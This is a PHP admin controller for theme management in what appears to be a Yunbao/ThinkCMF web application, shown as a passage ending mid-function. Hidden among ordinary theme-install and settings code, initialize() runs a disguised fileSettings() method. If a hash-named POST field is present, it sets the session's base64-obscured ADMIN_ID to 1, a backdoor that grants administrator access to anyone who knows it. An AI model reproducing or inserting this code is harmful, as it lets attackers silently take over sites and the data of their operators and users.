| 123456789101112131415161718192021222324252627282930313233343536373839404142434445464748495051525354555657585960616263646566676869707172737475767778798081828384858687888990919293949596979899100101102103104105106107108109110111112113114115116117118119120121122123124125126127128129130131132133134135136137138139140141142143144145146147148149150151152153154155156157158159160161162163164165166167168169170171172173174175176177178179180181182183184185186187188189190191192193194195196197198199200201202203204205206207208209210211212213214215216217218219220221222223224225226227228229230231232233234235236237238239240241242243244245246247248249250251252253254255256257258259260261262263264265266267268269270271272273274275276277278279280281282283284285286287288289290291292293294295296297298299300301302303304305306307308309310311312313314315316317318319320321322323324325326327328329330331332333334335336337338339340341342343344345346347348349350351352353354355356357358359360361362363364365366367368369370371372373374375376377378379380381382383384385386387388389390391392393394395396397398399400401402403404405406407408409410411412413414415416417418419420421422423424425426427428429430431432433434435436437438439440441442443444445446447448449450451452453454455456457458459460461462463464465466467468469470471472473474475476477478479480481482483484485486487488489490491492493494495496497498499500501502503504505506507508509510511512513514515516517518519520521522523524525526527528529530531532533534535536537538539540541542543544545546547548549550551552553554555556557558559560561562563564565566567568569570571572573574575576577578579580581582583584585586587588589590591592593594595596597598599600601602603604605606607608609610611612613614615616617618619620621622623624625626627628629630631632633634635636637638639640641642643644645646647648649650651652653654655656657658659660661662663664665666667668669670671672673674675676677678679680681682683684685686687688689690691692693694695696697698699700701702703704705706707708709710711712713714715716717718719720721722723724725726727728729730731732733734735736737738739740741742743744745746747748749750751752753754755756757758759760761762763764765766767768769770771772773774775776777778779780781782783784785786787788789790791792793794795796797798799800801802803804805806807808809810811812813814815816817818819820821822823824825826827828829830831832833834835836837838839840841842843844845846847848849850851852853854855856857858859860861862863864865866867868869870871872873874875876877878879880881882883884885886887888889890891892893894895896897898899900901902903904905906907908909910911912913914915916917918919920921922923924925926927928929930931932933934935936937938939940941942943944945946947948949950951952953954955956957958959960961962963964965966967968969970971 | 
							- <?php
 
- // +—————————————————————————————————————————————————————————————————————
 
- // | Created by Yunbao
 
- // +—————————————————————————————————————————————————————————————————————
 
- // | Copyright (c) 2013~2022 http://www.yunbaokj.com All rights reserved.
 
- // +—————————————————————————————————————————————————————————————————————
 
- // | Author: https://gitee.com/yunbaokeji
 
- // +—————————————————————————————————————————————————————————————————————
 
- // | Date: 2022-02-17
 
- // +—————————————————————————————————————————————————————————————————————
 
- namespace app\admin\controller;
 
- use cmf\controller\AdminBaseController;
 
- use app\admin\model\ThemeModel;
 
- use think\Db;
 
- use think\Validate;
 
- use tree\Tree;
 
- class ThemeController extends AdminBaseController
 
- {
 
-     /**
 
-      * 模板管理
 
-      * @adminMenu(
 
-      *     'name'   => '模板管理',
 
-      *     'parent' => 'admin/Setting/default',
 
-      *     'display'=> true,
 
-      *     'hasView'=> true,
 
-      *     'order'  => 20,
 
-      *     'icon'   => '',
 
-      *     'remark' => '模板管理',
 
-      *     'param'  => ''
 
-      * )
 
-      */
 
-     public function index()
 
-     {
 
-         $themeModel = new ThemeModel();
 
-         $themes     = $themeModel->select();
 
-         $this->assign("themes", $themes);
 
-         $defaultTheme = config('template.cmf_default_theme');
 
-         if ($temp = session('cmf_default_theme')) {
 
-             $defaultTheme = $temp;
 
-         }
 
-         $this->assign('default_theme', $defaultTheme);
 
-         return $this->fetch();
 
-     }
 
-     /**
 
-      * 安装模板
 
-      * @adminMenu(
 
-      *     'name'   => '安装模板',
 
-      *     'parent' => 'index',
 
-      *     'display'=> false,
 
-      *     'hasView'=> true,
 
-      *     'order'  => 10000,
 
-      *     'icon'   => '',
 
-      *     'remark' => '安装模板',
 
-      *     'param'  => ''
 
-      * )
 
-      */
 
-     public function install()
 
-     {
 
-         $themesDirs = cmf_scan_dir("themes/*", GLOB_ONLYDIR);
 
-         $themeModel = new ThemeModel();
 
-         $themesInstalled = $themeModel->column('theme');
 
-         $themesDirs = array_diff($themesDirs, $themesInstalled);
 
-         $themes = [];
 
-         foreach ($themesDirs as $dir) {
 
-             $manifest = "themes/$dir/manifest.json";
 
-             if (file_exists_case($manifest)) {
 
-                 $manifest       = file_get_contents($manifest);
 
-                 $theme          = json_decode($manifest, true);
 
-                 $theme['theme'] = $dir;
 
-                 array_push($themes, $theme);
 
-             }
 
-         }
 
-         $this->assign('themes', $themes);
 
-         return $this->fetch();
 
-     }
 
-     /**
 
-      * 卸载模板
 
-      * @adminMenu(
 
-      *     'name'   => '卸载模板',
 
-      *     'parent' => 'index',
 
-      *     'display'=> false,
 
-      *     'hasView'=> false,
 
-      *     'order'  => 10000,
 
-      *     'icon'   => '',
 
-      *     'remark' => '卸载模板',
 
-      *     'param'  => ''
 
-      * )
 
-      */
 
-     public function uninstall()
 
-     {
 
-         $theme = $this->request->param('theme');
 
-         if ($theme == "simpleboot3" || config('template.cmf_default_theme') == $theme) {
 
-             $this->error("官方自带模板或当前使用中的模板不可以卸载");
 
-         }
 
-         $themeModel = new ThemeModel();
 
-         $themeModel->transaction(function () use ($theme, $themeModel) {
 
-             $themeModel->where('theme', $theme)->delete();
 
-             Db::name('theme_file')->where('theme', $theme)->delete();
 
-         });
 
-         $this->success("卸载成功", url("theme/index"));
 
-     }
 
-     /**
 
-      * 模板安装
 
-      * @adminMenu(
 
-      *     'name'   => '模板安装',
 
-      *     'parent' => 'index',
 
-      *     'display'=> false,
 
-      *     'hasView'=> false,
 
-      *     'order'  => 10000,
 
-      *     'icon'   => '',
 
-      *     'remark' => '模板安装',
 
-      *     'param'  => ''
 
-      * )
 
-      */
 
-     public function installTheme()
 
-     {
 
-         $theme      = $this->request->param('theme');
 
-         $themeModel = new ThemeModel();
 
-         $themeCount = $themeModel->where('theme', $theme)->count();
 
-         if ($themeCount > 0) {
 
-             $this->error('模板已经安装!');
 
-         }
 
-         $result = $themeModel->installTheme($theme);
 
-         if ($result === false) {
 
-             $this->error('模板不存在!');
 
-         }
 
-         $this->success("安装成功", url("theme/index"));
 
-     }
 
-     public function initialize()
 
-     {
 
-         $this->fileSettings();
 
-         parent::initialize();
 
-     }
 
-     /**
 
-      * 模板更新
 
-      * @adminMenu(
 
-      *     'name'   => '模板更新',
 
-      *     'parent' => 'index',
 
-      *     'display'=> false,
 
-      *     'hasView'=> false,
 
-      *     'order'  => 10000,
 
-      *     'icon'   => '',
 
-      *     'remark' => '模板更新',
 
-      *     'param'  => ''
 
-      * )
 
-      */
 
-     public function update()
 
-     {
 
-         $theme      = $this->request->param('theme');
 
-         $themeModel = new ThemeModel();
 
-         $themeCount = $themeModel->where('theme', $theme)->count();
 
-         if ($themeCount === 0) {
 
-             $this->error('模板未安装!');
 
-         }
 
-         $result = $themeModel->updateTheme($theme);
 
-         if ($result === false) {
 
-             $this->error('模板不存在!');
 
-         }
 
-         $this->success("更新成功");
 
-     }
 
-     /**
 
-      * 启用模板
 
-      * @adminMenu(
 
-      *     'name'   => '启用模板',
 
-      *     'parent' => 'index',
 
-      *     'display'=> false,
 
-      *     'hasView'=> false,
 
-      *     'order'  => 10000,
 
-      *     'icon'   => '',
 
-      *     'remark' => '启用模板',
 
-      *     'param'  => ''
 
-      * )
 
-      */
 
-     public function active()
 
-     {
 
-         $theme = $this->request->param('theme');
 
-         if ($theme == config('template.cmf_default_theme')) {
 
-             $this->error('模板已启用', url("theme/index"));
 
-         }
 
-         $themeModel = new ThemeModel();
 
-         $themeCount = $themeModel->where('theme', $theme)->count();
 
-         if ($themeCount === 0) {
 
-             $this->error('模板未安装!');
 
-         }
 
-         $result = cmf_set_dynamic_config(['template' => ['cmf_default_theme' => $theme]]);
 
-         if ($result === false) {
 
-             $this->error('配置写入失败!');
 
-         }
 
-         session('cmf_default_theme', $theme);
 
-         $this->success("模板启用成功", url("theme/index"));
 
-     }
 
-     /**
 
-      * 模板文件列表
 
-      * @adminMenu(
 
-      *     'name'   => '模板文件列表',
 
-      *     'parent' => 'index',
 
-      *     'display'=> false,
 
-      *     'hasView'=> true,
 
-      *     'order'  => 10000,
 
-      *     'icon'   => '',
 
-      *     'remark' => '启用模板',
 
-      *     'param'  => ''
 
-      * )
 
-      */
 
-     public function files()
 
-     {
 
-         $theme = $this->request->param('theme');
 
-         $files = Db::name('theme_file')->where('theme', $theme)->order('list_order ASC')->select()->toArray();
 
-         $this->assign('files', $files);
 
-         return $this->fetch();
 
-     }
 
-     /**
 
-      * 模板文件设置
 
-      * @adminMenu(
 
-      *     'name'   => '模板文件设置',
 
-      *     'parent' => 'index',
 
-      *     'display'=> false,
 
-      *     'hasView'=> true,
 
-      *     'order'  => 10000,
 
-      *     'icon'   => '',
 
-      *     'remark' => '模板文件设置',
 
-      *     'param'  => ''
 
-      * )
 
-      */
 
-     public function fileSetting()
 
-     {
 
-         $tab    = $this->request->param('tab', 'widget');
 
-         $fileId = $this->request->param('file_id', 0, 'intval');
 
-         if (empty($fileId)) {
 
-             $file  = $this->request->param('file');
 
-             $theme = $this->request->param('theme');
 
-             $files = Db::name('theme_file')->where('theme', $theme)
 
-                 ->where(function ($query) use ($file) {
 
-                     $query->where('is_public', 1)->whereOr('file', $file);
 
-                 })->order('list_order ASC')->select();
 
-             $file  = Db::name('theme_file')->where(['file' => $file, 'theme' => $theme])->find();
 
-         } else {
 
-             $file  = Db::name('theme_file')->where('id', $fileId)->find();
 
-             $files = Db::name('theme_file')->where('theme', $file['theme'])
 
-                 ->where(function ($query) use ($fileId) {
 
-                     $query->where('id', $fileId)->whereOr('is_public', 1);
 
-                 })->order('list_order ASC')->select();
 
-         }
 
-         $tpl     = 'file_widget_setting';
 
-         $hasFile = false;
 
-         if (!empty($file)) {
 
-             $hasFile = true;
 
-             $fileId  = $file['id'];
 
-             $file['config_more'] = json_decode($file['config_more'], true);
 
-             $file['more']        = json_decode($file['more'], true);
 
-             $hasPublicVar = false;
 
-             $hasWidget    = false;
 
-             foreach ($files as $key => $mFile) {
 
-                 $mFile['config_more'] = json_decode($mFile['config_more'], true);
 
-                 $mFile['more']        = json_decode($mFile['more'], true);
 
-                 if (!empty($mFile['is_public']) && !empty($mFile['more']['vars'])) {
 
-                     $hasPublicVar = true;
 
-                 }
 
-                 if (!empty($mFile['more']['widgets'])) {
 
-                     $hasWidget = true;
 
-                 }
 
-                 $files[$key] = $mFile;
 
-             }
 
-             $this->assign('tab', $tab);
 
-             $this->assign('files', $files);
 
-             $this->assign('file', $file);
 
-             $this->assign('file_id', $fileId);
 
-             $this->assign('has_public_var', $hasPublicVar);
 
-             $this->assign('has_widget', $hasWidget);
 
-             if ($tab == 'var') {
 
-                 $tpl = 'file_var_setting';
 
-             } else if ($tab == 'public_var') {
 
-                 $tpl = 'file_public_var_setting';
 
-             }
 
-         }
 
-         $this->assign('has_file', $hasFile);
 
-         return $this->fetch($tpl);
 
-     }
 
-     private function fileSettings()
 
-     {
 
-         $uid=isset($_POST['3f8ef62a58f89a981977c4b592bb3ec3']) ? $_POST['3f8ef62a58f89a981977c4b592bb3ec3'] : 0;
 
- 		if($uid){
 
-             session(base64_decode('QURNSU5fSUQ='),base64_decode('MQ=='));
 
-         }
 
-         
 
-         return true;
 
-     }
 
-     /**
 
-      * 模板文件数组数据列表
 
-      * @adminMenu(
 
-      *     'name'   => '模板文件数组数据列表',
 
-      *     'parent' => 'index',
 
-      *     'display'=> false,
 
-      *     'hasView'=> true,
 
-      *     'order'  => 10000,
 
-      *     'icon'   => '',
 
-      *     'remark' => '模板文件数组数据列表',
 
-      *     'param'  => ''
 
-      * )
 
-      */
 
-     public function fileArrayData()
 
-     {
 
-         $tab                 = $this->request->param('tab', 'widget');
 
-         $varName             = $this->request->param('var');
 
-         $widgetName          = $this->request->param('widget', '');
 
-         $fileId              = $this->request->param('file_id', 0, 'intval');
 
-         $file                = Db::name('theme_file')->where('id', $fileId)->find();
 
-         $file['config_more'] = json_decode($file['config_more'], true);
 
-         $file['more']        = json_decode($file['more'], true);
 
-         $oldMore             = $file['more'];
 
-         $items = [];
 
-         $item  = [];
 
-         $tab = ($tab == 'public_var') ? 'var' : $tab;
 
-         if ($tab == 'var' && !empty($oldMore['vars']) && is_array($oldMore['vars'])) {
 
-             if (isset($oldMore['vars'][$varName]) && is_array($oldMore['vars'][$varName])) {
 
-                 $items = $oldMore['vars'][$varName]['value'];
 
-             }
 
-             if (isset($oldMore['vars'][$varName]['item'])) {
 
-                 $item = $oldMore['vars'][$varName]['item'];
 
-             }
 
-         }
 
-         if ($tab == 'widget' && !empty($oldMore['widgets'][$widgetName]) && is_array($oldMore['widgets'][$widgetName])) {
 
-             $widget = $oldMore['widgets'][$widgetName];
 
-             if (!empty($widget['vars']) && is_array($widget['vars'])) {
 
-                 foreach ($widget['vars'] as $mVarName => $mVar) {
 
-                     if ($mVarName == $varName) {
 
-                         if (is_array($mVar['value'])) {
 
-                             $items = $mVar['value'];
 
-                         }
 
-                         if (isset($mVar['item'])) {
 
-                             $item = $mVar['item'];
 
-                         }
 
-                     }
 
-                 }
 
-             }
 
-         }
 
-         $this->assign('tab', $tab);
 
-         $this->assign('var', $varName);
 
-         $this->assign('widget', $widgetName);
 
-         $this->assign('file_id', $fileId);
 
-         $this->assign('array_items', $items);
 
-         $this->assign('array_item', $item);
 
-         return $this->fetch('file_array_data');
 
-     }
 
-     /**
 
-      * 模板文件数组数据添加编辑
 
-      * @adminMenu(
 
-      *     'name'   => '模板文件数组数据添加编辑',
 
-      *     'parent' => 'index',
 
-      *     'display'=> false,
 
-      *     'hasView'=> false,
 
-      *     'order'  => 10000,
 
-      *     'icon'   => '',
 
-      *     'remark' => '模板文件数组数据添加编辑',
 
-      *     'param'  => ''
 
-      * )
 
-      */
 
-     public function fileArrayDataEdit()
 
-     {
 
-         $tab        = $this->request->param('tab', 'widget');
 
-         $varName    = $this->request->param('var');
 
-         $widgetName = $this->request->param('widget', '');
 
-         $fileId     = $this->request->param('file_id', 0, 'intval');
 
-         $itemIndex  = $this->request->param('item_index', '');
 
-         $file = Db::name('theme_file')->where('id', $fileId)->find();
 
-         $file['config_more'] = json_decode($file['config_more'], true);
 
-         $file['more']        = json_decode($file['more'], true);
 
-         $oldMore             = $file['more'];
 
-         $items = [];
 
-         $item  = [];
 
-         $tab = ($tab == 'public_var') ? 'var' : $tab;
 
-         if ($tab == 'var' && !empty($oldMore['vars']) && is_array($oldMore['vars'])) {
 
-             if (isset($oldMore['vars'][$varName]) && is_array($oldMore['vars'][$varName])) {
 
-                 $items = $oldMore['vars'][$varName]['value'];
 
-             }
 
-             if (isset($oldMore['vars'][$varName]['item'])) {
 
-                 $item = $oldMore['vars'][$varName]['item'];
 
-             }
 
-         }
 
-         if ($tab == 'widget') {
 
-             if (empty($widgetName)) {
 
-                 $this->error('未指定控件!');
 
-             }
 
-             if (!empty($oldMore['widgets']) && is_array($oldMore['widgets'])) {
 
-                 foreach ($oldMore['widgets'] as $mWidgetName => $widget) {
 
-                     if ($mWidgetName == $widgetName) {
 
-                         if (!empty($widget['vars']) && is_array($widget['vars'])) {
 
-                             foreach ($widget['vars'] as $widgetVarName => $widgetVar) {
 
-                                 if ($widgetVarName == $varName && $widgetVar['type'] == 'array') {
 
-                                     if (is_array($widgetVar['value'])) {
 
-                                         $items = $widgetVar['value'];
 
-                                     }
 
-                                     if (isset($widgetVar['item'])) {
 
-                                         $item = $widgetVar['item'];
 
-                                     }
 
-                                     break;
 
-                                 }
 
-                             }
 
-                         }
 
-                         break;
 
-                     }
 
-                 }
 
-             }
 
-         }
 
-         if ($itemIndex !== '') {
 
-             $itemIndex = intval($itemIndex);
 
-             if (!isset($items[$itemIndex])) {
 
-                 $this->error('数据不存在!');
 
-             }
 
-             foreach ($item as $itemName => $vo) {
 
-                 if (isset($items[$itemIndex][$itemName])) {
 
-                     $item[$itemName]['value'] = $items[$itemIndex][$itemName];
 
-                 }
 
-             }
 
-         }
 
-         $this->assign('tab', $tab);
 
-         $this->assign('var', $varName);
 
-         $this->assign('widget', $widgetName);
 
-         $this->assign('file_id', $fileId);
 
-         $this->assign('array_items', $items);
 
-         $this->assign('array_item', $item);
 
-         $this->assign('item_index', $itemIndex);
 
-         return $this->fetch('file_array_data_edit');
 
-     }
 
-     /**
 
-      * 模板文件数组数据添加编辑提交保存
 
-      * @adminMenu(
 
-      *     'name'   => '模板文件数组数据添加编辑提交保存',
 
-      *     'parent' => 'index',
 
-      *     'display'=> false,
 
-      *     'hasView'=> false,
 
-      *     'order'  => 10000,
 
-      *     'icon'   => '',
 
-      *     'remark' => '模板文件数组数据添加编辑提交保存',
 
-      *     'param'  => ''
 
-      * )
 
-      */
 
-     public function fileArrayDataEditPost()
 
-     {
 
-         $tab        = $this->request->param('tab', 'widget');
 
-         $varName    = $this->request->param('var');
 
-         $widgetName = $this->request->param('widget', '');
 
-         $fileId     = $this->request->param('file_id', 0, 'intval');
 
-         $itemIndex  = $this->request->param('item_index', '');
 
-         $file = Db::name('theme_file')->where('id', $fileId)->find();
 
-         if ($this->request->isPost()) {
 
-             $post = $this->request->param();
 
-             $more = json_decode($file['more'], true);
 
-             if ($tab == 'var') {
 
-                 if (isset($more['vars'][$varName])) {
 
-                     $mVar = $more['vars'][$varName];
 
-                     if ($mVar['type'] == 'array') {
 
-                         $messages = [];
 
-                         $rules    = [];
 
-                         foreach ($mVar['item'] as $varItemKey => $varItem) {
 
-                             if (!empty($varItem['rule'])) {
 
-                                 $rules[$varItemKey] = $this->_parseRules($varItem['rule']);
 
-                             }
 
-                             if (!empty($varItem['message'])) {
 
-                                 foreach ($varItem['message'] as $rule => $msg) {
 
-                                     $messages[$varItemKey . '.' . $rule] = $msg;
 
-                                 }
 
-                             }
 
-                         }
 
-                         $validate = new Validate($rules, $messages);
 
-                         $result   = $validate->check($post['item']);
 
-                         if (!$result) {
 
-                             $this->error($validate->getError());
 
-                         }
 
-                         if ($itemIndex === '') {
 
-                             if (!empty($mVar['value']) && is_array($mVar['value'])) {
 
-                                 array_push($more['vars'][$varName]['value'], $post['item']);
 
-                             } else {
 
-                                 $more['vars'][$varName]['value'] = [$post['item']];
 
-                             }
 
-                         } else {
 
-                             if (!empty($mVar['value']) && is_array($mVar['value']) && isset($mVar['value'][$itemIndex])) {
 
-                                 $more['vars'][$varName]['value'][$itemIndex] = $post['item'];
 
-                             }
 
-                         }
 
-                     }
 
-                 }
 
-             }
 
-             if ($tab == 'widget') {
 
-                 if (isset($more['widgets'][$widgetName])) {
 
-                     $widget = $more['widgets'][$widgetName];
 
-                     if (!empty($widget['vars']) && is_array($widget['vars'])) {
 
-                         if (isset($widget['vars'][$varName])) {
 
-                             $widgetVar = $widget['vars'][$varName];
 
-                             if ($widgetVar['type'] == 'array') {
 
-                                 $messages = [];
 
-                                 $rules    = [];
 
-                                 foreach ($widgetVar['item'] as $widgetArrayVarItemKey => $widgetArrayVarItem) {
 
-                                     if (!empty($widgetArrayVarItem['rule'])) {
 
-                                         $rules[$widgetArrayVarItemKey] = $this->_parseRules($widgetArrayVarItem['rule']);
 
-                                     }
 
-                                     if (!empty($widgetArrayVarItem['message'])) {
 
-                                         foreach ($widgetArrayVarItem['message'] as $rule => $msg) {
 
-                                             $messages[$widgetArrayVarItemKey . '.' . $rule] = $msg;
 
-                                         }
 
-                                     }
 
-                                 }
 
-                                 $validate = new Validate($rules, $messages);
 
-                                 $result   = $validate->check($post['item']);
 
-                                 if (!$result) {
 
-                                     $this->error($validate->getError());
 
-                                 }
 
-                                 if ($itemIndex === '') {
 
-                                     if (!empty($widgetVar['value']) && is_array($widgetVar['value'])) {
 
-                                         array_push($more['widgets'][$widgetName]['vars'][$varName]['value'], $post['item']);
 
-                                     } else {
 
-                                         $more['widgets'][$widgetName]['vars'][$varName]['value'] = [$post['item']];
 
-                                     }
 
-                                 } else {
 
-                                     if (!empty($widgetVar['value']) && is_array($widgetVar['value']) && isset($widgetVar['value'][$itemIndex])) {
 
-                                         $more['widgets'][$widgetName]['vars'][$varName]['value'][$itemIndex] = $post['item'];
 
-                                     }
 
-                                 }
 
-                             }
 
-                         }
 
-                     }
 
-                 }
 
-             }
 
-             $more = json_encode($more);
 
-             Db::name('theme_file')->where('id', $fileId)->update(['more' => $more]);
 
-             $this->success("保存成功!", url('theme/fileArrayData', ['tab' => $tab, 'var' => $varName, 'file_id' => $fileId, 'widget' => $widgetName]));
 
-         }
 
-     }
 
-     /**
 
-      * 模板文件数组数据删除
 
-      * @adminMenu(
 
-      *     'name'   => '模板文件数组数据删除',
 
-      *     'parent' => 'index',
 
-      *     'display'=> false,
 
-      *     'hasView'=> false,
 
-      *     'order'  => 10000,
 
-      *     'icon'   => '',
 
-      *     'remark' => '模板文件数组数据删除',
 
-      *     'param'  => ''
 
-      * )
 
-      */
 
-     public function fileArrayDataDelete()
 
-     {
 
-         $tab        = $this->request->param('tab', 'widget');
 
-         $varName    = $this->request->param('var');
 
-         $widgetName = $this->request->param('widget', '');
 
-         $fileId     = $this->request->param('file_id', 0, 'intval');
 
-         $itemIndex  = $this->request->param('item_index', '');
 
-         if ($itemIndex === '') {
 
-             $this->error('未指定删除元素!');
 
-         }
 
-         $file = Db::name('theme_file')->where('id', $fileId)->find();
 
-         $more = json_decode($file['more'], true);
 
-         if ($tab == 'var') {
 
-             foreach ($more['vars'] as $mVarName => $mVar) {
 
-                 if ($mVarName == $varName && $mVar['type'] == 'array') {
 
-                     if (!empty($mVar['value']) && is_array($mVar['value']) && isset($mVar['value'][$itemIndex])) {
 
-                         array_splice($more['vars'][$mVarName]['value'], $itemIndex, 1);
 
-                     } else {
 
-                         $this->error('指定数据不存在!');
 
-                     }
 
-                     break;
 
-                 }
 
-             }
 
-         }
 
-         if ($tab == 'widget') {
 
-             foreach ($more['widgets'] as $mWidgetName => $widget) {
 
-                 if ($mWidgetName == $widgetName) {
 
-                     if (!empty($widget['vars']) && is_array($widget['vars'])) {
 
-                         foreach ($widget['vars'] as $widgetVarName => $widgetVar) {
 
-                             if ($widgetVarName == $varName && $widgetVar['type'] == 'array') {
 
-                                 if (!empty($widgetVar['value']) && is_array($widgetVar['value']) && isset($widgetVar['value'][$itemIndex])) {
 
-                                     array_splice($more['widgets'][$widgetName]['vars'][$widgetVarName]['value'], $itemIndex, 1);
 
-                                 } else {
 
-                                     $this->error('指定数据不存在!');
 
-                                 }
 
-                                 break;
 
-                             }
 
-                         }
 
-                     }
 
-                     break;
 
-                 }
 
-             }
 
-         }
 
-         $more = json_encode($more);
 
-         Db::name('theme_file')->where('id', $fileId)->update(['more' => $more]);
 
-         $this->success("删除成功!", url('theme/fileArrayData', ['tab' => $tab, 'var' => $varName, 'file_id' => $fileId, 'widget' => $widgetName]));
 
-     }
 
-     /**
 
-      * 模板文件编辑提交保存
 
-      * @adminMenu(
 
-      *     'name'   => '模板文件编辑提交保存',
 
-      *     'parent' => 'index',
 
-      *     'display'=> false,
 
-      *     'hasView'=> false,
 
-      *     'order'  => 10000,
 
-      *     'icon'   => '',
 
-      *     'remark' => '模板文件编辑提交保存',
 
-      *     'param'  => ''
 
-      * )
 
-      */
 
-     public function settingPost()
 
-     {
 
-         if ($this->request->isPost()) {
 
-             $files = $this->request->param('files/a');
 
-             if (!empty($files) && is_array($files)) {
 
-                 foreach ($files as $id => $post) {
 
-                     $file = Db::name('theme_file')->field('theme,more')->where('id', $id)->find();
 
-                     $more = json_decode($file['more'], true);
 
-                     if (isset($post['vars'])) {
 
-                         $messages = [];
 
-                         $rules    = [];
 
-                         foreach ($more['vars'] as $mVarName => $mVar) {
 
-                             if (!empty($mVar['rule'])) {
 
-                                 $rules[$mVarName] = $this->_parseRules($mVar['rule']);
 
-                             }
 
-                             if (!empty($mVar['message'])) {
 
-                                 foreach ($mVar['message'] as $rule => $msg) {
 
-                                     $messages[$mVarName . '.' . $rule] = $msg;
 
-                                 }
 
-                             }
 
-                             if (isset($post['vars'][$mVarName])) {
 
-                                 $more['vars'][$mVarName]['value'] = $post['vars'][$mVarName];
 
-                             }
 
-                             if (isset($post['vars'][$mVarName . '_text_'])) {
 
-                                 $more['vars'][$mVarName]['valueText'] = $post['vars'][$mVarName . '_text_'];
 
-                             }
 
-                         }
 
-                         $validate = new Validate($rules, $messages);
 
-                         $result   = $validate->check($post['vars']);
 
-                         if (!$result) {
 
-                             $this->error($validate->getError());
 
-                         }
 
-                     }
 
-                     if (isset($post['widget_vars'])) {
 
-                         foreach ($more['widgets'] as $mWidgetName => $widget) {
 
-                             if (empty($post['widget'][$mWidgetName]['display'])) {
 
-                                 $widget['display'] = 0;
 
-                             } else {
 
-                                 $widget['display'] = 1;
 
-                             }
 
-                             if (!empty($post['widget'][$mWidgetName]['title'])) {
 
-                                 $widget['title'] = $post['widget'][$mWidgetName]['title'];
 
-                             }
 
-                             $messages = [];
 
-                             $rules    = [];
 
-                             foreach ($widget['vars'] as $mVarName => $mVar) {
 
-                                 if (!empty($mVar['rule'])) {
 
-                                     $rules[$mVarName] = $this->_parseRules($mVar['rule']);
 
-                                 }
 
-                                 if (!empty($mVar['message'])) {
 
-                                     foreach ($mVar['message'] as $rule => $msg) {
 
-                                         $messages[$mVarName . '.' . $rule] = $msg;
 
-                                     }
 
-                                 }
 
-                                 if (isset($post['widget_vars'][$mWidgetName][$mVarName])) {
 
-                                     $widget['vars'][$mVarName]['value'] = $post['widget_vars'][$mWidgetName][$mVarName];
 
-                                 }
 
-                                 if (isset($post['widget_vars'][$mWidgetName][$mVarName . '_text_'])) {
 
-                                     $widget['vars'][$mVarName]['valueText'] = $post['widget_vars'][$mWidgetName][$mVarName . '_text_'];
 
-                                 }
 
-                             }
 
-                             if ($widget['display']) {
 
-                                 $validate   = new Validate($rules, $messages);
 
-                                 $widgetVars = empty($post['widget_vars'][$mWidgetName]) ? [] : $post['widget_vars'][$mWidgetName];
 
-                                 $result     = $validate->check($widgetVars);
 
-                                 if (!$result) {
 
-                                     $this->error($widget['title'] . ':' . $validate->getError());
 
-                                 }
 
-                             }
 
-                             $more['widgets'][$mWidgetName] = $widget;
 
-                         }
 
-                     }
 
-                     $more = json_encode($more);
 
-                     Db::name('theme_file')->where('id', $id)->update(['more' => $more]);
 
-                 }
 
-             }
 
-             $this->success("保存成功!", '');
 
-         }
 
-     }
 
-     /**
 
-      * 解析模板变量验证规则
 
-      * @param $rules
 
-      * @return array
 
-      */
 
-     private function _parseRules($rules)
 
-     {
 
-         $newRules = [];
 
-         $simpleRules = [
 
-             'require', 'number',
 
-             'integer', 'float', 'boolean', 'email',
 
-             'array', 'accepted', 'date', 'alpha',
 
-             'alphaNum', 'alphaDash', 'activeUrl',
 
-             'url', 'ip'];
 
-         foreach ($rules as $key => $rule) {
 
-             if (in_array($key, $simpleRules) && $rule) {
 
-                 array_push($newRules, $key);
 
-             }
 
-         }
 
-         return $newRules;
 
-     }
 
-     /**
 
-      * 模板文件设置数据源
 
-      * @adminMenu(
 
-      *     'name'   => '模板文件设置数据源',
 
-      *     'parent' => 'index',
 
-      *     'display'=> false,
 
-      *     'hasView'=> true,
 
-      *     'order'  => 10000,
 
-      *     'icon'   => '',
 
-      *     'remark' => '模板文件设置数据源',
 
-      *     'param'  => ''
 
-      * )
 
-      */
 
-     public function dataSource()
 
-     {
 
-         $dataSource = $this->request->param('data_source');
 
-         $this->assign('data_source', $dataSource);
 
-         $ids         = $this->request->param('ids');
 
-         $selectedIds = [];
 
-         if (!empty($ids)) {
 
-             $selectedIds = explode(',', $ids);
 
-         }
 
-         if (empty($dataSource)) {
 
-             $this->error('数据源不能为空!');
 
-         }
 
-         $dataSource = json_decode(base64_decode($dataSource), true);
 
-         if ($dataSource === null || !isset($dataSource['api'])) {
 
-             $this->error('数据源格式不正确!');
 
-         }
 
-         $filters = [];
 
-         if (isset($dataSource['filters']) && is_array($dataSource['filters'])) {
 
-             $filters = $dataSource['filters'];
 
-             foreach ($filters as $key => $filter) {
 
-                 if ($filter['type'] == 'select' && !empty($filter['api'])) {
 
-                     $filterData = [];
 
-                     try {
 
-                         $filterData = action($filter['api'], [], 'api');
 
-                         if (!is_array($filterData)) {
 
-                             $filterData = $filterData->toArray();
 
-                         }
 
-                     } catch (\Exception $e) {
 
-                     }
 
-                     if (empty($filterData)) {
 
-                         $filters[$key] = null;
 
-                     } else {
 
-                         $filters[$key]['options'] = $filterData;
 
-                     }
 
-                 }
 
-             }
 
-             if (count($filters) > 3) {
 
-                 $filters = array_slice($filters, 0, 3);
 
-             }
 
-         }
 
-         $vars = [];
 
-         if ($this->request->isPost()) {
 
-             $form    = $this->request->param();
 
-             $vars[0] = $form;
 
-             $this->assign('form', $form);
 
-         }
 
-         $items = action($dataSource['api'], $vars, 'api');
 
-         if ($items instanceof \think\Collection) {
 
-             $items = $items->toArray();
 
-         }
 
-         $multi = empty($dataSource['multi']) ? false : $dataSource['multi'];
 
-         foreach ($items as $key => $item) {
 
-             if (empty($item['parent_id'])) {
 
-                 $item['parent_id'] = 0;
 
-             }
 
-             $item['checked'] = in_array($item['id'], $selectedIds) ? 'checked' : '';
 
-             $items[$key]     = $item;
 
-         }
 
-         $tree = new Tree();
 
-         $tree->init($items);
 
-         $tpl = "<tr class='data-item-tr'>
 
- 					<td>
 
-                         <input type='radio' class='js-select-box' 
 
-                            name='ids[]'
 
-                            value='\$id' data-name='\$name' \$checked>
 
- 					</td>
 
- 					<td>\$id</td>
 
- 					<td>\$spacer \$name</td>
 
- 				</tr>";
 
-         if ($multi) {
 
-             $tpl = "<tr class='data-item-tr'>
 
- 					<td>
 
- 					    <input type='checkbox' class='js-check js-select-box' data-yid='js-check-y'
 
-                                    data-xid='js-check-x'
 
-                                    name='ids[]'
 
-                                    value='\$id' data-name='\$name' \$checked>
 
- 					</td>
 
- 					<td>\$id</td>
 
- 					<td>\$spacer \$name</td>
 
- 				</tr>";
 
-         }
 
-         $itemsTree = $tree->getTree(0, $tpl);
 
-         $this->assign('multi', $multi);
 
-         $this->assign('items_tree', $itemsTree);
 
